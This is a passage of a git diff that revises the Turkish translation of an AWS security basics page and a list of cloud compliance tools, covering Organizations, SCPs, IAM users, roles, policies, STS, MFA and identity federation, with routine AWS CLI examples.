metrikler ve raporlama ile birleştirir. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, bulut için **sürekli uyum izleme, uyum raporlama ve güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanabilirsiniz. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır. +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı verir; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun el yapımı betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, **sürekli uyum izleme, uyum raporlama ve bulut için güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanırsınız. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır. ## DEBUG: AWS cli isteklerini yakala ```bash diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 779c87956..cb2519d40 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -20,33 +20,33 @@ Bu nedenle, bir organizasyonda **iki tür hesap vardır** (AWS hesaplarından ve - Diğer mevcut hesapları organizasyona davet edin - Organizasyondan hesapları kaldırın - Davetleri yönetin -- Organizasyondaki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın +- Organizasyon içindeki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın - Organizasyondaki tüm hesaplar arasında hizmet işlevselliği sağlamak için desteklenen AWS hizmetleriyle entegrasyonu etkinleştirin. - Bu root hesabı/organizasyonu oluşturmak için kullanılan e-posta ve şifre ile root kullanıcı olarak giriş yapmak mümkündür. Yönetim hesabı, **ödeyici hesabının sorumluluklarına** sahiptir ve üye hesaplar tarafından biriken tüm ücretleri ödemekten sorumludur. Bir organizasyonun yönetim hesabını değiştiremezsiniz. -- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap, aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz. +- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz. - Üye hesaplar **geçerli bir e-posta adresi kullanmalıdır** ve bir **isim** alabilir, genellikle faturalandırmayı yönetemezler (ancak buna erişim verilebilir). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` ### **Organizasyon Birimleri** -Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OU'lar da olabileceğini unutmayın. +Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OUs'lar da olabileceğini unutmayın. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıkların izinlerini sınırlar**. +Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıklar için izinleri sınırlar**. -Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini durdurmak için kullanılabilir.\ +Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini engellemek için kullanılabilir.\ Bunu aşmanın tek yolu, SCP'leri yapılandıran **master account**'u da tehlikeye atmaktır (master account engellenemez). > [!WARNING] -> **SCP'ler yalnızca hesap içindeki ilkeleri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı** anlamına gelir. +> **SCP'ler yalnızca hesap içindeki yetkilileri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı anlamına gelir**. SCP örnekleri: @@ -60,7 +60,7 @@ SCP örnekleri: değiştirilmesini reddet. - Yedeklerin silinmesini reddet. -- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet. +- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet **JSON örneklerini** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) adresinde bulabilirsiniz. @@ -71,7 +71,7 @@ değiştirilmesini reddet. arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Not edin ki AWS'te 4 bölüm vardır ama bunları çağırmanın sadece 3 yolu vardır: +AWS'de 4 bölüm olduğunu ancak bunları çağırmanın yalnızca 3 yolu olduğunu unutmayın: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -90,27 +90,27 @@ IAM, AWS hesabınızdaki kaynaklarınıza kimliklerin kimlik doğrulama, yetkile ### [AWS hesap kök kullanıcısı](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**_dır ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir. +Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**dır_ ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir. -Yeni bir **admin kullanıcısının**, kök kullanıcıdan **daha az izin** alacağını unutmayın. +Yeni bir **admin kullanıcısının kök kullanıcıdan** **daha az yetkisi** olacağını unutmayın. Güvenlik açısından, diğer kullanıcıları oluşturmanız ve bu kullanıcıyı kullanmaktan kaçınmanız önerilir. ### [IAM kullanıcıları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM _kullanıcısı_, AWS'de **AWS ile etkileşimde bulunan kişi veya uygulamayı temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir. +IAM _kullanıcısı_, AWS'de **onu kullanarak AWS ile etkileşimde bulunan kişi veya uygulamayı** **temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir. -Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak (önerilir) veya **doğrudan politikalar ekleyerek** **izinler** verirsiniz. +Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak **izinler** verirsiniz (önerilir) veya **doğrudan politikalar** ekleyerek kullanıcıya izinler verirsiniz. -Kullanıcılar, konsola giriş yapmak için **MFA etkinleştirilebilir**. MFA etkinleştirilmiş kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Kullanıcılar, konsoldan giriş yapmak için **MFA etkinleştirilebilir**. MFA etkin kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Erişim Anahtarı ID**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT -- **Gizli erişim anahtarı ID**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Kayıp gizli erişim anahtarı ID'leri geri alınamaz). +- **Erişim Anahtarı ID'si**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT +- **Gizli erişim anahtarı ID'si**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (kayıp gizli erişim anahtarı ID'leri geri alınamaz). -Herhangi bir zamanda **Erişim Anahtarını değiştirmek** istediğinizde izlemeniz gereken süreç:\ -&#xNAN;_C yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> eski erişim anahtarını sil_ +Erişim Anahtarını **değiştirmeniz gerektiğinde** izlemeniz gereken süreç:\ +&#xNAN;_C yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> Orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> Eski erişim anahtarını sil_ ### MFA - Çok Faktörlü Kimlik Doğrulama @@ -121,37 +121,37 @@ MFA koşulları olan politikalar aşağıdakilere eklenebilir: - Bir IAM kullanıcısı veya grubu - Amazon S3 bucket, Amazon SQS kuyruğu veya Amazon SNS konusu gibi bir kaynak -- Bir kullanıcının üstlenebileceği bir IAM rolünün güven politikası +- Bir kullanıcı tarafından üstlenilebilen bir IAM rolünün güven politikası -Eğer **CLI üzerinden** MFA kontrolü yapan bir kaynağa **erişmek** istiyorsanız, **`GetSessionToken`** çağrısı yapmalısınız. Bu, MFA hakkında bilgi içeren bir token verecektir.\ -Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgiyi içermez**. +Eğer **CLI üzerinden** MFA **kontrol eden** bir kaynağa erişmek istiyorsanız, **`GetSessionToken`** çağrısı yapmanız gerekir. Bu, MFA hakkında bilgi içeren bir token verir.\ +Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgileri içermez**. ```bash aws sts get-session-token --serial-number --token-code ``` -As [**burada belirtilmiştir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA'nın kullanılamayacağı** birçok farklı durum vardır. +Aşağıda [**burada belirtilen**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html) birçok farklı durum vardır ki **MFA kullanılamaz**. ### [IAM kullanıcı grupları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya** aynı anda **politika eklemenin** bir yoludur, bu da o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**. +Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya politika eklemenin** bir yoludur ve bu, o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**. -Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. Bir **kullanıcı grubunu** bir **`Principal`** olarak bir **politikada** (kaynak tabanlı bir politika gibi) tanımlayamazsınız çünkü gruplar izinlerle, kimlik doğrulama ile değil, ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır. +Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. **Bir kullanıcı grubunu** bir **`Principal`** olarak tanımlayamazsınız (örneğin, kaynak tabanlı bir politika gibi) çünkü gruplar izinlerle, kimlik doğrulama ile değil ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır. Kullanıcı gruplarının bazı önemli özellikleri şunlardır: -- Bir kullanıcı **grubu** **birçok kullanıcı** içerebilir ve bir **kullanıcı** **birden fazla gruba** ait olabilir. +- Bir kullanıcı **grubu** **birçok kullanıcı içerebilir** ve bir **kullanıcı** **birden fazla gruba ait olabilir**. - **Kullanıcı grupları iç içe olamaz**; yalnızca kullanıcıları içerebilir, diğer kullanıcı gruplarını değil. - AWS hesabındaki tüm kullanıcıları otomatik olarak içeren **varsayılan bir kullanıcı grubu yoktur**. Böyle bir kullanıcı grubuna sahip olmak istiyorsanız, onu oluşturmalı ve her yeni kullanıcıyı ona atamalısınız. -- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı gibi sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotalarına](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) bakın. +- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı ile sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotaları](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) sayfasına bakın. ### [IAM rolleri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Bir IAM **rolü**, bir **kullanıcıya** çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikaları olan bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak ilişkilendirilmek yerine, bir rol **ihtiyacı olan herkes tarafından üstlenilebilir (ve yeterli izinlere sahip olmalıdır)**. Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) **atanabilir**. +Bir IAM **rolü**, bir **kullanıcı** ile çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikalarına sahip bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak değil, bir rolün **ihtiyacı olan herkes tarafından üstlenilmesi** amaçlanmıştır (ve yeterli izinlere sahip olunmalıdır). Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) atanabilir. Bir IAM rolü, **iki tür politikadan** oluşur: **boş olamaz** olan bir **güven politikası**, rolü **kimin üstlenebileceğini** tanımlar ve **boş olamaz** olan bir **izin politikası**, **neye erişebileceğini** tanımlar. #### AWS Güvenlik Token Servisi (STS) -AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır: +AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklara sahip kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır: ### [IAM'de Geçici Kimlik Bilgileri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) @@ -164,10 +164,10 @@ AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik b İzinleri atamak için kullanılır. 2 tür vardır: - AWS yönetilen politikalar (AWS tarafından önceden yapılandırılmış) -- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (onlardan birini değiştirerek ve kendi politikanızı oluşturarak), politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanarak veya kendi politikanızı yazarak dayalı politikalar oluşturabilirsiniz. +- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (birini değiştirerek ve kendi politikanızı oluşturarak) dayalı politikalar oluşturabilir, politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanabilir veya kendi politikanızı yazabilirsiniz. **Varsayılan erişim** **reddedilir**, açık bir rol belirtilirse erişim verilecektir.\ -Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir). +Eğer **tek bir "Deny" varsa, "Allow"u geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -190,15 +190,15 @@ Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesab ] } ``` -The [herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[Herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ [Her hizmet için koşullar için kullanılabilecek özel alanlar burada belgelenmiştir](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). #### Inline Politika -Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka birinin kullanabileceği Politika listesinde görünmezler.\ -Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimlikte yer alan politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır. +Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka biri tarafından kullanılamadıkları için Politika listesinde görünmezler.\ +Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimliğe gömülü politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır. -#### Kaynak Kova Politikaları +#### Kaynak Bucket Politikaları Bunlar, **kaynaklarda** tanımlanabilen **politikalar**dır. **AWS'nin tüm kaynakları bunları desteklemez**. @@ -208,7 +208,7 @@ Eğer bir anahtarın üzerinde açık bir red yoksa ve bir kaynak politikası on IAM sınırları, bir kullanıcının veya rolün erişim sağlaması gereken izinleri **sınırlamak için** kullanılabilir. Bu şekilde, eğer kullanıcıya **farklı bir politika** tarafından farklı bir izin seti verilirse, bu izinleri kullanmaya çalıştığında işlem **başarısız** olur. -Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır yalnızca S· kovalarını okuyabileceğini gösteriyorsa, yapabileceği maksimum budur. +Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır sadece S· bucket'larını okuyabileceğini gösteriyorsa, bu onun yapabileceği maksimum şeydir. **Bu**, **SCP'ler** ve **en az ayrıcalık** ilkesine uymak, kullanıcıların ihtiyaç duyduğundan daha fazla izne sahip olmalarını kontrol etmenin yollarıdır. @@ -216,7 +216,7 @@ Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının vey Oturum politikası, bir rolün **üstlenildiği** zaman ayarlanan bir **politikadır**. Bu, o oturum için bir **IAM sınırı** gibi olacaktır: Bu, oturum politikasının izin vermediği, ancak **politikada belirtilenlerle sınırladığı** anlamına gelir (maksimum izinler rolün sahip olduğu izinlerdir). -Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda izinleri yalnızca oturum politikasında belirtilenlerle sınırlayabilir. +Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda oturum politikasında belirtilenlerle sınırlı izinleri kısıtlayabilir. ```bash aws sts assume-role \ --role-arn \ @@ -224,24 +224,24 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) (gelişmiş kimlik doğrulaması kullanarak) AWS, oturumun erişebileceği hizmetleri sınırlayan **bir oturum politikası ile oturum kimlik bilgileri** oluşturacaktır [**aşağıdaki listeye**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kullanıldığında (gelişmiş kimlik doğrulaması ile), AWS **oturum politikası ile oturum kimlik bilgileri** oluşturacaktır; bu, oturumun erişebileceği hizmetleri [**aşağıdaki liste ile sınırlamaktadır**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikasının olmasıdır**. +Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikası olmasıdır**. ### Kimlik Federasyonu Kimlik federasyonu, **AWS'ye dışarıdan gelen kimlik sağlayıcılarından kullanıcıların** AWS kaynaklarına güvenli bir şekilde erişmesini sağlar; bu, geçerli bir IAM kullanıcı hesabından AWS kullanıcı kimlik bilgilerini sağlamayı gerektirmez.\ -Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz (**SAML** aracılığıyla) veya **OpenID** hizmetleridir (örneğin **Google**). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir. +Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz ( **SAML** aracılığıyla) veya **OpenID** hizmetleridir ( **Google** gibi). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir. -Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (güvenen) Kimlik Sağlayıcısına atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir. +Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (kimlik sağlayıcıya güvenen) atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir. -Ancak, genellikle üçüncü taraf platformdaki kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü üçüncü taraf Kimlik Sağlayıcısına güvenebilir** ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir. +Ancak, genellikle üçüncü taraf platformda kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü,** üçüncü taraf Kimlik Sağlayıcıya güvenebilir ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir.
### IAM Kimlik Merkezi -AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS kullanıcılarının yönetimi ve AWS** hesaplarına ve bulut uygulamalarına erişimlerini bir araya getiren **merkezi bir yer** sağlar. +AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS** hesaplarına ve bulut uygulamalarına **kullanıcıların yönetimi ve erişimlerini** bir araya getiren **merkezi bir yer** sağlar. Giriş alanı, `.awsapps.com` gibi bir şey olacak. @@ -249,13 +249,13 @@ Kullanıcıları giriş yapmak için kullanılabilecek 3 kimlik kaynağı vardı - Kimlik Merkezi Dizini: Normal AWS kullanıcıları - Active Directory: Farklı bağlantıları destekler -- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcısından (IdP) gelir +- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcıdan (IdP) gelir
